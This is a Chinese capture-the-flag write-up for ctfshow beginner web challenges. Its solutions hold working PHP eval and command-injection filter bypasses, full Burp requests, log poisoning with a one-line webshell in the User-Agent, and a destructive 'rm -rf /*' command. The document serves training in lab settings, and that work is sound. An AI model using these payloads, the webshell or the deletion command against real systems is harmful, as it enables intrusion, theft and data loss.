CTFshow_萌新——WriteUp(三)

糊涂涂 2022-8-15 101 8/15

web8

阿呆熟悉的一顿操作,去了埃塞尔比亚。

打开题目:

<html>
<head>
    <title>ctf.show萌新计划web1</title>
    <meta charset="utf-8">
</head>
<body>
<?php
# 包含数据库连接文件,key flag 也在里面定义
include("config.php");
# 判断get提交的参数id是否存在
if(isset($_GET['flag'])){
        if(isset($_GET['flag'])){
                $f = $_GET['flag'];
                if($key===$f){
                        echo $flag;
                }
        }
}else{
    highlight_file(__FILE__);
}

?>
</body>
</html>

这个题我看了很久也没明白,所以key是什么呢?我想到了题干条件,还是不明白,后来看来WP,呃,原来这是个梗,意思是删库跑路了,删除的指令是rm -rf,删库就是完全删除,那路径就写成/*,所以指令是:

?flag=rm -rf /*

得到flag:

ctfshow{18f066f8-2e89-4f76-814e-d7fb29b4f0ad}

web9

阿呆在埃塞俄比亚终于找了一个网管的工作,闲暇时还能种点菜。

(所以最终归宿我们还是做网管吗😇 🥰 😍 🤩 )

打开题目:

<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
        $c = $_GET['c'];
        if(preg_match("/system|exec|highlight/i",$c)){
                eval($c);
        }else{
            die("cmd error");
        }
}else{
        highlight_file(__FILE__);
}
?>

按照题目意思,我们要构建一个请求c,来打开config.php就可以得到flag了。同时要满足preg_match("/system|exec|highlight/i",$c),这里我们使用highlight_file()函数,构建请求(切记一定要加上;):

/?c=highlight_file("config.php");

得到flag:

<?php
$flag = "ctfshow{f025b7c6-37e9-4034-aadf-541953428f04}";
?>

web10

阿呆看见对面二黑急冲冲的跑过来,告诉阿呆出大事了,阿呆问什么事,二黑说:这几天天旱,你菜死了!

(我怎么感觉他在骂我???)

打开题目:

<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
        $c = $_GET['c'];
        if(!preg_match("/system|exec|highlight/i",$c)){
                eval($c);
        }else{
            die("cmd error");
        }
}else{
        highlight_file(__FILE__);
}
?>

和上一题一样,但是这次我们的highlight被禁用了,我们考虑用PHP语法多次定义来拼凑得到highlight_file

/?c=$a="high";$b="light_file";$c=$a.$b;$c("config.php");

得到flag:

<?php
$flag = "ctfshow{fa5fce89-a3dc-4aed-8d9b-2304c58f0064}";
?>

web11

阿呆听完自己菜死了,自己呆了。决定修好漏洞,绝对不能让自己再菜死了。

打开题目(只展示了限制条件):

if(!preg_match("/system|exec|highlight|cat/i",$c)){
                eval($c);
        }

这里好像和我们的解题方法没有冲突,这里禁用了cat(说明前一个题可以用cat来解题),我们还是使用和上一题一样的方法获得flag:

<?php
$flag = "ctfshow{6f608f7c-9cd7-4385-95f1-2d44c4c3900c}";
?>

web12

阿呆不慌不忙的拔掉自己所有的菜,以后自己就不会菜死了。

打开题目:

if(!preg_match("/system|exec|highlight|cat|\.|php|config/i",$c)){
                eval($c);
        }

这波阿呆偷家了,但是我们还是可以绕过他,我们用base64加密后解密,再拼接:

/?c=$a=base64_decode("aGlnaGxpZ2h0X2ZpbGU=");$b=base64_decode("Y29uZmlnLnBocA==");$a($b);

获得flag:

<?php
$flag = "ctfshow{915d8708-b627-4a78-89b4-cf7f81c4b219}";
?>

web13

阿呆彻底呆了,阿呆拿起谷姐搜索好久,终于找到更狠的方法。

打开题目:

if(!preg_match("/system|exec|highlight|cat|\.|\;|file|php|config/i",$c)){
                eval($c);
        }

这次阿呆连分号都禁用了,那我们换一种方式,用passthru()函数 配合反引号``来执行系统命令, 针对分号;的过滤, 我们可以使用 ?> 代替分号:

?c=passthru("ca''t `ls`")?>

(这里cat打开的是ls函数得到的两个页面:index.php和config.php,如果要精确打开一个,使用语句?c=passthru("more `ls | grep con*`")?>来打开config.php即可)

请求执行后页面啥也没有,我们查看源代码就可以获得flag了:

<?php
$flag = "ctfshow{ae872a60-e2be-4b60-b65f-aa4ecce9af62}";
?>

在网上看见一个比较简单的操作,感觉挺牛逼的:

利用php伪协议把命令当作文件包传入:

?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=config.php

在下一个题也可以用这个,把前面的?>改成;就行了,不错不错,学到了。


web14

阿呆忍无可忍了,告诉自己,如果还被攻,自己就跳下去

打开题目:

if(!preg_match("/system|exec|highlight|cat|\(|\.|\;|file|php|config/i",$c)){
                eval($c);
        }

(也被禁用了,怎么办呢?我们重新查看题目,你GET限制了关我POST什么事😋 ?给他塞个一句话木马。打开我们的burp进行抓包,发送到Repeater,Change request method,得到下面代码:

POST / HTTP/1.1
Host: 0ed74255-8066-470d-9cf4-4e11acf4dad0.challenge.ctf.show
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

我们插入请求?c=echo `$_POST[a]`?>和请求参数a=cat config.php

POST /?c=echo`$_POST[a]`?> HTTP/1.1
Host: 0ed74255-8066-470d-9cf4-4e11acf4dad0.challenge.ctf.show
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 16

a=cat config.php

Send后我们看到Response:

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Date: Mon, 15 Aug 2022 05:04:27 GMT
Server: nginx/1.16.1
X-Powered-By: PHP/7.3.11
Connection: close
Content-Length: 71

<?php
$flag = "ctfshow{df0df968-0282-4fdc-9d37-89dbc2ac2552}";
?>

得到flag:

ctfshow{df0df968-0282-4fdc-9d37-89dbc2ac2552}

web15

人为什么要活着?难道埃塞俄比亚再无我阿呆容身之处?

打开题目:

if(!preg_match("/system|\\*|\?|\<|\>|\=|exec|highlight|cat|\(|\.|file|php|config/i",$c)){
                eval($c);
        }

乍一看人都要气死了,?>被禁用了怎么办?仔细一看,哟呵,;又可以用了,那还不简单,和上一题一样,只是把请求换成?c=echo `$_POST[a]`;

POST /?c=echo`$_POST[a]`; HTTP/1.1
Host: 6e9dbd86-994b-4cb0-983b-84eb7d050b15.challenge.ctf.show
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 16

a=cat config.php

一样的操作后得到flag:

ctfshow{ad913f7c-bc3d-48a0-9772-433258d5d389}

web16

阿呆为了自己的梦想(fulage),决定来一波反向跑路。

打开题目:

<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
        $c = $_GET['c'];
        if(md5("ctfshow$c")==="a6f57ae38a22448c2f07f3f95f49c84e"){
            echo $flag;
        }else{
            echo "nonono!";
        }
}else{
        highlight_file(__FILE__);
}
?>

这显然要解码这个md5密文。拉到解密网站解密都没解出来,我怀疑也不会太长,所以我尝试用python脚本解码,办法很笨,就是依次位数尝试:

import hashlib

str1 = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
payload = ''
for i in str1:  # 若只有一位
    s = hashlib.md5(('ctfshow' + i).encode()).hexdigest()
    # print(type(s))
    if s == 'a6f57ae38a22448c2f07f3f95f49c84e':
        print(i)
import hashlib

str1 = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
payload = ''
for i in str1:
    for j in str1:  # 若有两位
        s = hashlib.md5(('ctfshow' + i + j).encode()).hexdigest()
        # print(type(s))
        if s == 'a6f57ae38a22448c2f07f3f95f49c84e':
            print(i + j)
import hashlib

str1 = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
payload = ''
for i in str1:
    for j in str1:
        for k in str1:  # 若有三位
            s = hashlib.md5(('ctfshow' + i + j + k).encode()).hexdigest()
            # print(type(s))
            if s == 'a6f57ae38a22448c2f07f3f95f49c84e':
                print(i + j + k)

试到第三位,有输出了:

36d

带进去:

?c=36d

得到flag:

ctfshow{663c2035-fc49-4119-8358-7c3f03998aea}

web17

阿呆终于怀揣自己的梦想来到了故土,凭借着高超的系统垃圾清理(rm -rf /*)技术,很快的阿呆找到了一份程序员工作

打开题目:

<?php
if(isset($_GET['c'])){
       $c=$_GET['c'];
       if(!preg_match("/php/i",$c)){
               include($c);

       }


}else{
        highlight_file(__FILE__);
}
?>

这里禁用了php,那就日志包含,系统日志地址:

apache一般是/var/log/apache/access.log

nginx的log在/var/log/nginx/access.log和/var/log/nginx/error.log

我们用burp抓包,添加请求:

GET /?c=/var/log/nginx/access.log HTTP/1.1
Host: 1fe90fb0-2093-445a-bd07-6e26dd71fbe5.challenge.ctf.show
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

查看日志,发现日志文件记录了user-agent头,那我们再次发送请求,这次在User-Agent后面加上一句话木马病毒:

GET /?c=/var/log/nginx/access.log HTTP/1.1
Host: 1fe90fb0-2093-445a-bd07-6e26dd71fbe5.challenge.ctf.show
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36<?php eval($_POST['a']);?>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

Send之后我们用蚁剑连接:

URL地址:http://1fe90fb0-2093-445a-bd07-6e26dd71fbe5.challenge.ctf.show/?c=/var/log/nginx/access.log
连接密码:a

我们看见了36d.php,打开后找到flag:

<?php
$flag = "ctfshow{83ca285e-3135-4c5c-8b42-39868fe6fb21}";
?>

web18

阿呆加入了过滤,这下完美了。

打开题目:

if(!preg_match("/php|file/i",$c)){
               include($c);
       }

看来和17步骤一致,获得flag:

<?php
$flag = "ctfshow{61d26f54-0e98-4c49-8fae-fa829ff2fa76}";
?>

web19

同上,获得flag:

<?php
$flag = "ctfshow{154abcaf-110f-49e0-9105-0fabbff02559}";
?>

web20

同上,获得flag:

<?php
$flag = "ctfshow{e0cb6cb1-14ae-453d-a443-f0f243c1c725}";
?>

web21

同上,获得flag:

<?php
$flag = "ctfshow{7e143999-3a6c-4792-8cf7-1a067b483114}";
?>

获得百分之百的快乐

阿呆开发了自己的博客系统,准备对欺负他的大佬口吐芬芳

打开题目:

<?php
show_source(__FILE__);
error_reporting(0);
if(strlen($_GET[1])<4){
     echo shell_exec($_GET[1]);
}
else{
     echo "hack!!!";
}
?>
//by Firebasky
//by Firebasky

观察代码,限制输入4个字符以内,那我们先看看有哪些文件:

?1=ls
secretsecret_ctfshow_36dddddddddd.php zzz.php //by Firebasky

好家伙,这么长的名字,打不开呀,怎么办呢?

我们先阅读这篇大佬的文章——【CTF 攻略】如何绕过四个字符限制getshell

根据提示我们有了思路,先利用字符<创建文件夹,然后利用*的神奇用法(以当前路径下第一个文件名作为命令执行)来完成这波骚操作。

?1=>nl
?1=ls
?1=*

得到flag(这里记得要查看源代码):

<?php
$flag = 'ctfshow{e278f7be-e1d6-46e0-b70c-57f8aa898e99}';
?>

 

- THE END -

糊涂涂

8月16日16:34

最后修改:2022年8月16日
1